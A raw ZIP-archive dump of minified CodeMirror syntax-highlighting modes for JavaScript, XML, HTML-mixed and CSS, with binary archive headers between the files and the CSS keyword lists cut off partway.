if(v){var d={type:"variable",style:"type"},f={"interface":a("class"),"implements":f,namespace:f,module:a("module"),"enum":a("module"),"public":a("modifier"),"private":a("modifier"),"protected":a("modifier"),"abstract":a("modifier"),string:d,number:d,"boolean":d,any:d},h;for(h in f)b[h]=f[h]}return b}(),R=/[+\-*&%=<>!?|~^@]/,za=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/,G,P,Fa={atom:!0,number:!0,variable:!0,string:!0,regexp:!0,"this":!0,"jsonld-keyword":!0},
d={state:null,column:null,marked:null,cc:null},Aa={name:"this",next:{name:"arguments"}};e.lex=!0;return{startState:function(a){a={tokenize:C,lastType:"sof",cc:[],lexical:new ma((a||0)-E,0,"block",!1),localVars:q.localVars,context:q.localVars&&{vars:q.localVars},indented:a||0};q.globalVars&&"object"==typeof q.globalVars&&(a.globalVars=q.globalVars);return a},token:function(a,b){a.sol()&&(b.lexical.hasOwnProperty("align")||(b.lexical.align=!1),b.indented=a.indentation(),ba(a,b));if(b.tokenize!=Q&&a.eatSpace())return null;
var c=b.tokenize(a,b);if("comment"==G)return c;b.lastType="operator"!=G||"++"!=P&&"--"!=P?G:"incdec";a:{var f=G,e=P,g=b.cc;d.state=b;d.stream=a;d.marked=null;d.cc=g;d.style=c;b.lexical.hasOwnProperty("align")||(b.lexical.align=!0);for(;;)if((g.length?g.pop():F?m:r)(f,e)){for(;g.length&&g[g.length-1].lex;)g.pop()();if(d.marked){c=d.marked;break a}if(a="variable"==f)b:{for(a=b.localVars;a;a=a.next)if(a.name==e){a=!0;break b}for(b=b.context;b;b=b.prev)for(a=b.vars;a;a=a.next)if(a.name==e){a=!0;break b}a=
void 0}if(a){c="variable-2";break a}break a}}return c},indent:function(a,b){if(a.tokenize==Q)return p.Pass;if(a.tokenize!=C)return 0;var c=b&&b.charAt(0),d=a.lexical,g;if(!/^\s*else\b/.test(b))for(var h=a.cc.length-1;0<=h;--h){var l=a.cc[h];if(l==e)d=d.prev;else if(l!=na)break}for(;!("stat"!=d.type&&"form"!=d.type||"}"!=c&&(!(g=a.cc[a.cc.length-1])||g!=D&&g!=K||/^[,\.=+\-*:?[\(]/.test(b)));)d=d.prev;wa&&")"==d.type&&"stat"==d.prev.type&&(d=d.prev);g=d.type;h=c==g;return"vardef"==g?d.indented+("operator"==
a.lastType||","==a.lastType?d.info+1:0):"form"==g&&"{"==c?d.indented:"form"==g?d.indented+E:"stat"==g?(c=d.indented,a="operator"==a.lastType||","==a.lastType||R.test(b.charAt(0))||/[,.]/.test(b.charAt(0)),c+(a?wa||E:0)):"switch"!=d.info||h||0==q.doubleIndentSwitch?d.align?d.column+(h?0:1):d.indented+(h?0:E):d.indented+(/^(?:case|default)\b/.test(b)?E:2*E)},electricInput:/^\s*(?:case .*?:|default:|\{|\})$/,blockCommentStart:F?null:"/*",blockCommentEnd:F?null:"*/",lineComment:F?null:"//",fold:"brace",
closeBrackets:"()[]{}''\"\"``",helperType:F?"json":"javascript",jsonldMode:S,jsonMode:F,expressionAllowed:ja,skipExpression:function(a){var b=a.cc[a.cc.length-1];b!=m&&b!=u||a.cc.pop()}}});p.registerHelper("wordChars","javascript",/[\w$]/);p.defineMIME("text/javascript","javascript");p.defineMIME("text/ecmascript","javascript");p.defineMIME("application/javascript","javascript");p.defineMIME("application/x-javascript","javascript");p.defineMIME("application/ecmascript","javascript");p.defineMIME("application/json",
{name:"javascript",json:!0});p.defineMIME("application/x-json",{name:"javascript",json:!0});p.defineMIME("application/ld+json",{name:"javascript",jsonld:!0});p.defineMIME("text/typescript",{name:"javascript",typescript:!0});p.defineMIME("application/typescript",{name:"javascript",typescript:!0})});
PK     ]t]Ux¾Ûb  b  !  assets/codemirror/mode/xml/xml.jsnu ÕIw¶´        'use strict';(function(g){"object"==typeof exports&&"object"==typeof module?g(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],g):g(CodeMirror)})(function(g){var D={autoSelfClosers:{area:!0,base:!0,br:!0,col:!0,command:!0,embed:!0,frame:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0,menuitem:!0},implicitlyClosed:{dd:!0,li:!0,optgroup:!0,option:!0,p:!0,rp:!0,rt:!0,tbody:!0,td:!0,tfoot:!0,th:!0,tr:!0},contextGrabbers:{dd:{dd:!0,
dt:!0},dt:{dd:!0,dt:!0},li:{li:!0},option:{option:!0,optgroup:!0},optgroup:{optgroup:!0},p:{address:!0,article:!0,aside:!0,blockquote:!0,dir:!0,div:!0,dl:!0,fieldset:!0,footer:!0,form:!0,h1:!0,h2:!0,h3:!0,h4:!0,h5:!0,h6:!0,header:!0,hgroup:!0,hr:!0,menu:!0,nav:!0,ol:!0,p:!0,pre:!0,section:!0,table:!0,ul:!0},rp:{rp:!0,rt:!0},rt:{rp:!0,rt:!0},tbody:{tbody:!0,tfoot:!0},td:{td:!0,th:!0},tfoot:{tbody:!0},th:{td:!0,th:!0},thead:{tbody:!0,tfoot:!0},tr:{tr:!0}},doNotIndent:{pre:!0},allowUnquoted:!0,allowMissing:!0,
caseFold:!0},E={autoSelfClosers:{},implicitlyClosed:{},contextGrabbers:{},doNotIndent:{},allowUnquoted:!1,allowMissing:!1,caseFold:!1};g.defineMode("xml",function(p,q){function h(a,c){function b(b){c.tokenize=b;return b(a,c)}var d=a.next();if("<"==d){if(a.eat("!"))return a.eat("[")?a.match("CDATA[")?b(r("atom","]]\x3e")):null:a.match("--")?b(r("comment","--\x3e")):a.match("DOCTYPE",!0,!0)?(a.eatWhile(/[\w\._\-]/),b(t(1))):null;if(a.eat("?"))return a.eatWhile(/[\w\._\-]/),c.tokenize=r("meta","?>"),
"meta";l=a.eat("/")?"closeTag":"openTag";c.tokenize=u;return"tag bracket"}if("&"==d)return(a.eat("#")?a.eat("x")?a.eatWhile(/[a-fA-F\d]/)&&a.eat(";"):a.eatWhile(/[\d]/)&&a.eat(";"):a.eatWhile(/[\w\.\-:]/)&&a.eat(";"))?"atom":"error";a.eatWhile(/[^&<]/);return null}function u(a,c){var b=a.next();if(">"==b||"/"==b&&a.eat(">"))return c.tokenize=h,l=">"==b?"endTag":"selfcloseTag","tag bracket";if("="==b)return l="equals",null;if("<"==b)return c.tokenize=h,c.state=m,c.tagName=c.tagStart=null,(a=c.tokenize(a,
c))?a+" tag error":"tag error";if(/[\'\"]/.test(b))return c.tokenize=F(b),c.stringStartCol=a.column(),c.tokenize(a,c);a.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/);return"word"}function F(a){var c=function(b,c){for(;!b.eol();)if(b.next()==a){c.tokenize=u;break}return"string"};c.isInAttribute=!0;return c}function r(a,c){return function(b,d){for(;!b.eol();){if(b.match(c)){d.tokenize=h;break}b.next()}return a}}function t(a){return function(c,b){for(var d;null!=(d=c.next());){if("<"==d)return b.tokenize=
t(a+1),b.tokenize(c,b);if(">"==d)if(1==a){b.tokenize=h;break}else return b.tokenize=t(a-1),b.tokenize(c,b)}return"meta"}}function G(a,c,b){this.prev=a.context;this.tagName=c;this.indent=a.indented;this.startOfLine=b;if(e.doNotIndent.hasOwnProperty(c)||a.context&&a.context.noIndent)this.noIndent=!0}function v(a){a.context&&(a.context=a.context.prev)}function y(a,c){for(var b;a.context;){b=a.context.tagName;if(!e.contextGrabbers.hasOwnProperty(b)||!e.contextGrabbers[b].hasOwnProperty(c))break;v(a)}}
function m(a,c,b){return"openTag"==a?(b.tagStart=c.column(),z):"closeTag"==a?H:m}function z(a,c,b){if("word"==a)return b.tagName=c.current(),f="tag",k;f="error";return z}function H(a,c,b){if("word"==a){a=c.current();b.context&&b.context.tagName!=a&&e.implicitlyClosed.hasOwnProperty(b.context.tagName)&&v(b);if(b.context&&b.context.tagName==a||!1===e.matchClosing)return f="tag",w;f="tag error";return A}f="error";return A}function w(a,c,b){if("endTag"!=a)return f="error",w;v(b);return m}function A(a,
c,b){f="error";return w(a,c,b)}function k(a,c,b){if("word"==a)return f="attribute",I;if("endTag"==a||"selfcloseTag"==a){c=b.tagName;var d=b.tagStart;b.tagName=b.tagStart=null;"selfcloseTag"==a||e.autoSelfClosers.hasOwnProperty(c)?y(b,c):(y(b,c),b.context=new G(b,c,d==b.indented));return m}f="error";return k}function I(a,c,b){if("equals"==a)return B;e.allowMissing||(f="error");return k(a,c,b)}function B(a,c,b){if("string"==a)return C;if("word"==a&&e.allowUnquoted)return f="string",k;f="error";return k(a,
c,b)}function C(a,c,b){return"string"==a?C:k(a,c,b)}var x=p.indentUnit,e={};p=q.htmlMode?D:E;for(var n in p)e[n]=p[n];for(n in q)e[n]=q[n];var l,f;h.isInText=!0;return{startState:function(a){var c={tokenize:h,state:m,indented:a||0,tagName:null,tagStart:null,context:null};null!=a&&(c.baseIndent=a);return c},token:function(a,c){!c.tagName&&a.sol()&&(c.indented=a.indentation());if(a.eatSpace())return null;l=null;var b=c.tokenize(a,c);(b||l)&&"comment"!=b&&(f=null,c.state=c.state(l||b,a,c),f&&(b="error"==
f?b+" error":f));return b},indent:function(a,c,b){var d=a.context;if(a.tokenize.isInAttribute)return a.tagStart==a.indented?a.stringStartCol+1:a.indented+x;if(d&&d.noIndent)return g.Pass;if(a.tokenize!=u&&a.tokenize!=h)return b?b.match(/^(\s*)/)[0].length:0;if(a.tagName)return!1!==e.multilineTagIndentPastTag?a.tagStart+a.tagName.length+2:a.tagStart+x*(e.multilineTagIndentFactor||1);if(e.alignCDATA&&/<!\[CDATA\[/.test(c))return 0;if((c=c&&/^<(\/)?([\w_:\.-]*)/.exec(c))&&c[1])for(;d;)if(d.tagName==
c[2]){d=d.prev;break}else if(e.implicitlyClosed.hasOwnProperty(d.tagName))d=d.prev;else break;else if(c)for(;d;)if((b=e.contextGrabbers[d.tagName])&&b.hasOwnProperty(c[2]))d=d.prev;else break;for(;d&&d.prev&&!d.startOfLine;)d=d.prev;return d?d.indent+x:a.baseIndent||0},electricInput:/<\/[\s\w:]+>$/,blockCommentStart:"\x3c!--",blockCommentEnd:"--\x3e",configuration:e.htmlMode?"html":"xml",helperType:e.htmlMode?"html":"xml",skipAttribute:function(a){a.state==B&&(a.state=k)}}});g.defineMIME("text/xml",
"xml");g.defineMIME("application/xml","xml");g.mimeModes.hasOwnProperty("text/html")||g.defineMIME("text/html",{name:"xml",htmlMode:!0})});
PK     ]t]9Ï¶»    -  assets/codemirror/mode/htmlmixed/htmlmixed.jsnu ÕIw¶´        'use strict';(function(d){"object"==typeof exports&&"object"==typeof module?d(require("../../lib/codemirror"),require("../xml/xml"),require("../javascript/javascript"),require("../css/css")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","../xml/xml","../javascript/javascript","../css/css"],d):d(CodeMirror)})(function(d){function p(f){var c=k[f];return c?c:k[f]=new RegExp("\\s+"+f+"\\s*=\\s*('|\")?([^'\"]+)('|\")?\\s*")}function q(f,c){return(f=f.match(p(c)))?/^\s*(.*?)\s*$/.exec(f[2])[1]:
""}function l(f,c){for(var d in f)for(var g=c[d]||(c[d]=[]),h=f[d],e=h.length-1;0<=e;e--)g.unshift(h[e])}function r(d,c){for(var f=0;f<d.length;f++){var g=d[f];if(!g[0]||g[1].test(q(c,g[0])))return g[2]}}var t={script:[["lang",/(javascript|babel)/i,"javascript"],["type",/^(?:text|application)\/(?:x-)?(?:java|ecma)script$|^module$|^$/i,"javascript"],["type",/./,"text/plain"],[null,null,"javascript"]],style:[["lang",/^css$/i,"css"],["type",/^(text\/)?(x-)?(stylesheet|css)$/i,"css"],["type",/./,"text/plain"],
[null,null,"css"]]},k={};d.defineMode("htmlmixed",function(f,c){function k(a,b){var c=g.token(a,b.htmlState),e=/\btag\b/.test(c),m;if(e&&!/[<>\s\/]/.test(a.current())&&(m=b.htmlState.tagName&&b.htmlState.tagName.toLowerCase())&&h.hasOwnProperty(m))b.inTag=m+" ";else if(b.inTag&&e&&/>$/.test(a.current())){e=/^([\S]+) (.*)/.exec(b.inTag);b.inTag=null;a=">"==a.current()&&r(h[e[1]],e[2]);a=d.getMode(f,a);var l=new RegExp("^</s*"+e[1]+"s*>","i"),n=new RegExp("</s*"+e[1]+"s*>","i");b.token=function(a,b){if(a.match(l,
!1))return b.token=k,b.localState=b.localMode=null;b=b.localMode.token(a,b.localState);var c=a.current(),d=c.search(n);-1<d?a.backUp(c.length-d):c.match(/<\/?$/)&&(a.backUp(c.length),a.match(n,!1)||a.match(c));return b};b.localMode=a;b.localState=d.startState(a,g.indent(b.htmlState,""))}else b.inTag&&(b.inTag+=a.current(),a.eol()&&(b.inTag+=" "));return c}var g=d.getMode(f,{name:"xml",htmlMode:!0,multilineTagIndentFactor:c.multilineTagIndentFactor,multilineTagIndentPastTag:c.multilineTagIndentPastTag}),
h={},e=c&&c.tags;c=c&&c.scriptTypes;l(t,h);e&&l(e,h);if(c)for(e=c.length-1;0<=e;e--)h.script.unshift(["type",c[e].matches,c[e].mode]);return{startState:function(){var a=d.startState(g);return{token:k,inTag:null,localMode:null,localState:null,htmlState:a}},copyState:function(a){var b;a.localState&&(b=d.copyState(a.localMode,a.localState));return{token:a.token,inTag:a.inTag,localMode:a.localMode,localState:b,htmlState:d.copyState(g,a.htmlState)}},token:function(a,b){return b.token(a,b)},indent:function(a,
b,c){return!a.localMode||/^\s*<\//.test(b)?g.indent(a.htmlState,b):a.localMode.indent?a.localMode.indent(a.localState,b,c):d.Pass},innerMode:function(a){return{state:a.localState||a.htmlState,mode:a.localMode||g}}}},"xml","javascript","css");d.defineMIME("text/html","htmlmixed")});
PK     ]t]N� SY  SY  !  assets/codemirror/mode/css/css.jsnu ÕIw¶´        'use strict';(function(k){"object"==typeof exports&&"object"==typeof module?k(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],k):k(CodeMirror)})(function(k){function l(d){for(var e={},f=0;f<d.length;++f)e[d[f].toLowerCase()]=!0;return e}function m(d,e){for(var f=!1,k;null!=(k=d.next());){if(f&&"/"==k){e.tokenize=null;break}f="*"==k}return["comment","comment"]}k.defineMode("css",function(d,e){function f(a,c){K=c;return a}function l(a,c){var b=
a.next();if(w[b]){var d=w[b](a,c);if(!1!==d)return d}if("@"==b)return a.eatWhile(/[\w\\\-]/),f("def",a.current());if("="==b||("~"==b||"|"==b)&&a.eat("="))return f(null,"compare");if('"'==b||"'"==b)return c.tokenize=m(b),c.tokenize(a,c);if("#"==b)return a.eatWhile(/[\w\\\-]/),f("atom","hash");if("!"==b)return a.match(/^\s*\w*/),f("keyword","important");if(/\d/.test(b)||"."==b&&a.eat(/\d/))return a.eatWhile(/[\w.%]/),f("number","unit");if("-"===b){if(/[\d.]/.test(a.peek()))return a.eatWhile(/[\w.%]/),
f("number","unit");if(a.match(/^-[\w\\\-]+/))return a.eatWhile(/[\w\\\-]/),a.match(/^\s*:/,!1)?f("variable-2","variable-definition"):f("variable-2","variable");if(a.match(/^\w+-/))return f("meta","meta")}else return/[,+>*\/]/.test(b)?f(null,"select-op"):"."==b&&a.match(/^-?[_a-z][_a-z0-9-]*/i)?f("qualifier","qualifier"):/[:;{}\[\]\(\)]/.test(b)?f(null,b):"u"==b&&a.match(/rl(-prefix)?\(/)||"d"==b&&a.match("omain(")||"r"==b&&a.match("egexp(")?(a.backUp(1),c.tokenize=y,f("property","word")):/[\w\\\-]/.test(b)?
(a.eatWhile(/[\w\\\-]/),f("property","word")):f(null,null)}function m(a){return function(c,b){for(var d=!1,e;null!=(e=c.next());){if(e==a&&!d){")"==a&&c.backUp(1);break}d=!d&&"\\"==e}if(e==a||!d&&")"!=a)b.tokenize=null;return f("string","string")}}function y(a,c){a.next();a.match(/\s*[\"\')]/,!1)?c.tokenize=null:c.tokenize=m(")");return f(null,"(")}function r(a,c,b){this.type=a;this.indent=c;this.prev=b}function h(a,c,b,d){a.context=new r(b,c.indentation()+(!1===d?0:v),a.context);return b}function n(a){a.context.prev&&
(a.context=a.context.prev);return a.context.type}function q(a,c,b,d){for(d=d||1;0<d;d--)b.context=b.context.prev;return p[b.context.type](a,c,b)}function t(a){a=a.current().toLowerCase();g=F.hasOwnProperty(a)?"atom":E.hasOwnProperty(a)?"keyword":"variable"}var u=e.inline;e.propertyKeywords||(e=k.resolveMode("text/css"));var v=d.indentUnit,w=e.tokenHooks,z=e.documentTypes||{},A=e.mediaTypes||{},D=e.mediaFeatures||{},G=e.mediaValueKeywords||{},B=e.propertyKeywords||{},C=e.nonStandardPropertyKeywords||
{},H=e.fontProperties||{},I=e.counterDescriptors||{},E=e.colorKeywords||{},F=e.valueKeywords||{},x=e.allowNested,J=!0===e.supportsAtComponent,K,g,p={top:function(a,c,b){if("{"==a)return h(b,c,"block");if("}"==a&&b.context.prev)return n(b);if(J&&/@component/.test(a))return h(b,c,"atComponentBlock");if(/^@(-moz-)?document$/.test(a))return h(b,c,"documentTypes");if(/^@(media|supports|(-moz-)?document|import)$/.test(a))return h(b,c,"atBlock");if(/^@(font-face|counter-style)/.test(a))return b.stateArg=
a,"restricted_atBlock_before";if(/^@(-(moz|ms|o|webkit)-)?keyframes$/.test(a))return"keyframes";if(a&&"@"==a.charAt(0))return h(b,c,"at");if("hash"==a)g="builtin";else if("word"==a)g="tag";else{if("variable-definition"==a)return"maybeprop";if("interpolation"==a)return h(b,c,"interpolation");if(":"==a)return"pseudo";if(x&&"("==a)return h(b,c,"parens")}return b.context.type},block:function(a,c,b){if("word"==a){a=c.current().toLowerCase();if(B.hasOwnProperty(a))return g="property","maybeprop";if(C.hasOwnProperty(a))return g=
"string-2","maybeprop";if(x)return g=c.match(/^\s*:(?:\s|$)/,!1)?"property":"tag","block";g+=" error";return"maybeprop"}if("meta"==a)return"block";if(x||"hash"!=a&&"qualifier"!=a)return p.top(a,c,b);g="error";return"block"},maybeprop:function(a,c,b){return":"==a?h(b,c,"prop"):p[b.context.type](a,c,b)},prop:function(a,c,b){if(";"==a)return n(b);if("{"==a&&x)return h(b,c,"propBlock");if("}"==a||"{"==a)return q(a,c,b);if("("==a)return h(b,c,"parens");if("hash"==a&&!/^#([0-9a-fA-f]{3,4}|[0-9a-fA-f]{6}|[0-9a-fA-f]{8})$/.test(c.current()))g+=
" error";else if("word"==a)t(c);else if("interpolation"==a)return h(b,c,"interpolation");return"prop"},propBlock:function(a,c,b){return"}"==a?n(b):"word"==a?(g="property","maybeprop"):b.context.type},parens:function(a,c,b){if("{"==a||"}"==a)return q(a,c,b);if(")"==a)return n(b);if("("==a)return h(b,c,"parens");if("interpolation"==a)return h(b,c,"interpolation");"word"==a&&t(c);return"parens"},pseudo:function(a,c,b){return"meta"==a?"pseudo":"word"==a?(g="variable-3",b.context.type):p[b.context.type](a,
c,b)},documentTypes:function(a,c,b){return"word"==a&&z.hasOwnProperty(c.current())?(g="tag",b.context.type):p.atBlock(a,c,b)},atBlock:function(a,c,b){if("("==a)return h(b,c,"atBlock_parens");if("}"==a||";"==a)return q(a,c,b);if("{"==a)return n(b)&&h(b,c,x?"block":"top");if("interpolation"==a)return h(b,c,"interpolation");"word"==a&&(a=c.current().toLowerCase(),g="only"==a||"not"==a||"and"==a||"or"==a?"keyword":A.hasOwnProperty(a)?"attribute":D.hasOwnProperty(a)?"property":G.hasOwnProperty(a)?"keyword":
B.hasOwnProperty(a)?"property":C.hasOwnProperty(a)?"string-2":F.hasOwnProperty(a)?"atom":E.hasOwnProperty(a)?"keyword":"error");return b.context.type},atComponentBlock:function(a,c,b){if("}"==a)return q(a,c,b);if("{"==a)return n(b)&&h(b,c,x?"block":"top",!1);"word"==a&&(g="error");return b.context.type},atBlock_parens:function(a,c,b){return")"==a?n(b):"{"==a||"}"==a?q(a,c,b,2):p.atBlock(a,c,b)},restricted_atBlock_before:function(a,c,b){return"{"==a?h(b,c,"restricted_atBlock"):"word"==a&&"@counter-style"==
b.stateArg?(g="variable","restricted_atBlock_before"):p[b.context.type](a,c,b)},restricted_atBlock:function(a,c,b){return"}"==a?(b.stateArg=null,n(b)):"word"==a?(g="@font-face"==b.stateArg&&!H.hasOwnProperty(c.current().toLowerCase())||"@counter-style"==b.stateArg&&!I.hasOwnProperty(c.current().toLowerCase())?"error":"property","maybeprop"):"restricted_atBlock"},keyframes:function(a,c,b){return"word"==a?(g="variable","keyframes"):"{"==a?h(b,c,"top"):p[b.context.type](a,c,b)},at:function(a,c,b){if(";"==
a)return n(b);if("{"==a||"}"==a)return q(a,c,b);"word"==a?g="tag":"hash"==a&&(g="builtin");return"at"},interpolation:function(a,c,b){if("}"==a)return n(b);if("{"==a||";"==a)return q(a,c,b);"word"==a?g="variable":"variable"!=a&&"("!=a&&")"!=a&&(g="error");return"interpolation"}};return{startState:function(a){return{tokenize:null,state:u?"block":"top",stateArg:null,context:new r(u?"block":"top",a||0,null)}},token:function(a,c){if(!c.tokenize&&a.eatSpace())return null;var b=(c.tokenize||l)(a,c);b&&"object"==
typeof b&&(K=b[1],b=b[0]);g=b;c.state=p[c.state](K,a,c);return g},indent:function(a,c){a=a.context;c=c&&c.charAt(0);var b=a.indent;"prop"!=a.type||"}"!=c&&")"!=c||(a=a.prev);if(a.prev)if("}"==c&&("block"==a.type||"top"==a.type||"interpolation"==a.type||"restricted_atBlock"==a.type))a=a.prev,b=a.indent;else if(")"==c&&("parens"==a.type||"atBlock_parens"==a.type)||"{"==c&&("at"==a.type||"atBlock"==a.type))b=Math.max(0,a.indent-v);return b},electricChars:"}",blockCommentStart:"/*",blockCommentEnd:"*/",
lineComment:e.lineComment,fold:"brace"}});var y=["domain","regexp","url","url-prefix"],G=l(y),B="all aural braille handheld print projection screen tty tv embossed".split(" "),r=l(B),C="width min-width max-width height min-height max-height device-width min-device-width max-device-width device-height min-device-height max-device-height aspect-ratio min-aspect-ratio max-aspect-ratio device-aspect-ratio min-device-aspect-ratio max-device-aspect-ratio color min-color max-color color-index min-color-index max-color-index monochrome min-monochrome max-monochrome resolution min-resolution max-resolution scan grid orientation device-pixel-ratio min-device-pixel-ratio max-device-pixel-ratio pointer any-pointer hover any-hover".split(" "),
t=l(C),H="landscape portrait none coarse fine on-demand hover interlace progressive".split(" "),D=l(H),I="align-content align-items align-self alignment-adjust alignment-baseline anchor-point animation animation-delay animation-direction animation-duration animation-fill-mode animation-iteration-count animation-name animation-play-state animation-timing-function appearance azimuth backface-visibility background background-attachment background-blend-mode background-clip background-color background-image background-origin background-position background-repeat background-size baseline-shift binding bleed bookmark-label bookmark-level bookmark-state bookmark-target border border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-collapse border-color border-image border-image-outset border-image-repeat border-image-slice border-image-source border-image-width border-left border-left-color border-left-style border-left-width border-radius border-right border-right-color border-right-style border-right-width border-spacing border-style border-top border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width border-width bottom box-decoration-break box-shadow box-sizing break-after break-before break-inside caption-side caret-color clear clip color color-profile column-count column-fill column-gap column-rule column-rule-color column-rule-style column-rule-width column-span column-width columns content counter-increment counter-reset crop cue cue-after cue-before cursor direction display dominant-baseline drop-initial-after-adjust drop-initial-after-align drop-initial-before-adjust drop-initial-before-align drop-initial-size drop-initial-value elevation empty-cells fit fit-position flex flex-basis flex-direction flex-flow flex-grow flex-shrink flex-wrap float float-offset flow-from flow-into font font-feature-settings font-family font-kerning font-language-override font-size font-size-adjust font-stretch font-style font-synthesis font-variant font-variant-alternates font-variant-caps font-variant-east-asian font-variant-ligatures font-variant-numeric font-variant-position font-weight grid grid-area grid-auto-columns grid-auto-flow grid-auto-rows grid-column grid-column-end grid-column-gap grid-column-start grid-gap grid-row grid-row-end grid-row-gap grid-row-start grid-template grid-template-areas grid-template-columns grid-template-rows hanging-punctuation height hyphens icon image-orientation image-rendering image-resolution inline-box-align justify-content justify-items justify-self left letter-spacing line-break line-height line-stacking line-stacking-ruby line-stacking-shift line-stacking-strategy list-style list-style-image list-style-position list-style-type margin margin-bottom margin-left margin-right margin-top marks marquee-direction marquee-loop marquee-play-count marquee-speed marquee-style max-height max-width min-height min-width move-to nav-down nav-index nav-left nav-right nav-up object-fit object-position opacity order orphans outline outline-color outline-offset outline-style outline-width overflow overflow-style overflow-wrap overflow-x overflow-y padding padding-bottom padding-left padding-right padding-top page page-break-after page-break-before page-break-inside page-policy pause pause-after pause-before perspective perspective-origin pitch pitch-range place-content place-items place-self play-during position presentation-level punctuation-trim quotes region-break-after region-break-before region-break-inside region-fragment rendering-intent resize rest rest-after rest-before richness right rotation rotation-point ruby-align ruby-overhang ruby-position ruby-span shape-image-threshold shape-inside shape-margin shape-outside size speak speak-as speak-header speak-numeral speak-punctuation speech-rate stress string-set tab-size table-layout target target-name target-new target-position text-align text-align-last text-decoration text-decoration-color text-decoration-line text-decoration-skip text-decoration-style text-emphasis text-emphasis-color text-emphasis-position text-emphasis-style text-height text-indent text-justify text-outline text-overflow text-shadow text-size-adjust text-space-collapse text-transform text-underline-position text-wrap top transform transform-origin transform-style transition transition-delay transition-duration transition-property transition-timing-function unicode-bidi user-select vertical-align visibility voice-balance voice-duration voice-family voice-pitch voice-range voice-rate voice-stress voice-volume volume white-space widows width will-change word-break word-spacing word-wrap z-index clip-path clip-rule mask enable-background filter flood-color flood-opacity lighting-color stop-color stop-opacity pointer-events color-interpolation color-interpolation-filters color-rendering fill fill-opacity fill-rule image-rendering marker marker-end marker-mid marker-start shape-rendering stroke stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-rendering baseline-shift dominant-baseline glyph-orientation-horizontal glyph-orientation-vertical text-anchor writing-mode".split(" "),
u=l(I),E="scrollbar-arrow-color scrollbar-base-color scrollbar-dark-shadow-color scrollbar-face-color scrollbar-highlight-color scrollbar-shadow-color scrollbar-3d-light-color scrollbar-track-color shape-inside searchfield-cancel-button searchfield-decoration searchfield-results-button searchfield-results-decoration zoom".split(" "),v=l(E),w=l("font-family src unicode-range font-variant font-feature-settings font-stretch font-weight font-style".split(" ")),F=l("additive-symbols fallback negative pad prefix range speak-as suffix symbols system".split(" ")),
J="aliceblue antiquewhite aqua aquamarine azure beige bisque black blanchedalmond blue blueviolet brown burlywood cadetblue chartreuse chocolate coral cornflowerblue cornsilk crimson cyan darkblue darkcyan darkgoldenrod darkgray darkgreen darkkhaki darkmagenta darkolivegreen darkorange darkorchid darkred darksalmon darkseagreen darkslateblue darkslategray darkturquoise darkviolet deeppink deepskyblue dimgray dodgerblue firebrick floralwhite forestgreen fuchsia gainsboro ghostwhite gold goldenrod gray grey green greenyellow honeydew hotpink indianred indigo ivory khaki lavender lavenderblush lawngreen lemonchiffon lightblue lightcoral lightcyan lightgoldenrodyellow lightgray lightgreen lightpink lightsalmon lightseagreen lightskyblue lightslategray lightsteelblue lightyellow lime limegreen linen magenta maroon mediumaquamarine mediumblue mediumorchid mediumpurple mediumseagreen mediumslateblue mediumspringgreen mediumturquoise mediumvioletred midnightblue mintcream mistyrose moccasin navajowhite navy oldlace olive olivedrab orange orangered orchid palegoldenrod palegreen paleturquoise palevioletred papayawhip peachpuff peru pink plum powderblue purple rebeccapurple red rosybrown royalblue saddlebrown salmon sandybrown seagreen seashell sienna silver skyblue slateblue slategray snow springgreen steelblue tan teal thistle tomato turquoise violet wheat white whitesmoke yellow yellowgreen".split(" "),
z=l(J),L="above absolute activeborder additive activecaption afar after-white-space ahead alias all all-scroll alphabetic alternate always amharic amharic-abegede antialiased appworkspace arabic-indic armenian asterisks attr auto auto-flow avoid avoid-column avoid-page avoid-region background backwards baseline below bidi-override binary bengali blink block block-axis bold bolder border border-box both bottom break break-all break-word bullets button button-bevel buttonface buttonhighlight buttonshadow buttontext calc cambodian capitalize caps-lock-indicator caption captiontext caret cell center checkbox circle cjk-decimal cjk-earthly-branch cjk-heavenly-stem cjk-ideographic clear clip close-quote col-resize collapse color color-burn color-dodge column column-reverse compact condensed contain content contents content-box context-menu continuous copy counter counters cover crop cross crosshair currentcolor cursive cyclic darken dashed decimal decimal-leading-zero default default-button dense destination-atop destination-in destination-out destination-over devanagari difference disc discard disclosure-closed disclosure-open document dot-dash dot-dot-dash dotted double down e-resize ease ease-in ease-in-out ease-out element ellipse ellipsis embed end ethiopic ethiopic-abegede ethiopic-abegede-am-et ethiopic-abegede-gez ethiopic-abegede-ti-er ethiopic-abegede-ti-et ethiopic-halehame-aa-er ethiopic-halehame-aa-et ethiopic-halehame-am-et ethiopic-halehame-gez ethiopic-halehame-om-et ethiopic-halehame-sid-et ethiopic-halehame-so-et ethiopic-halehame-ti-er ethiopic-halehame-ti-et ethiopic-halehame-tig ethiopic-numeric ew-resize exclusion expanded extends extra-condensed extra-expanded fantasy fast fill fixed flat flex flex-end flex-start footnotes forwards from geometricPrecision georgian graytext grid groove gujarati gurmukhi hand hangul hangul-consonant hard-light hebrew help hidden hide higher highlight highlighttext hiragana hiragana-iroha horizontal hsl hsla hue icon ignore inactiveborder inactivecaption inactivecaptiontext infinite infobackground infotext inherit initial inline inline-axis inline-block inline-flex inline-grid inline-table inset inside intrinsic invert italic japanese-formal japanese-informal justify kannada katakana katakana-iroha keep-all khmer korean-hangul-formal korean-hanja-formal korean-hanja-informal landscape lao large larger left level lighter lighten line-through linear linear-gradient lines list-item listbox listitem local logical loud lower lower-alpha lower-armenian lower-greek lower-hexadecimal lower-latin lower-norwegian lower-roman lowercase ltr luminosity malayalam match matrix matrix3d media-controls-background media-current-time-display media-fullscreen-button media-mute-button media-play-button media-return-to-realtime-button media-rewind-button media-seek-back-button media-seek-forward-button media-slider media-sliderthumb media-time-remaining-display media-volume-slider media-volume-slider-container media-volume-sliderthumb medium menu menulist menulist-button menulist-text menulist-textfield menutext message-box middle min-intrinsic mix mongolian monospace move multiple multiply myanmar n-resize narrower 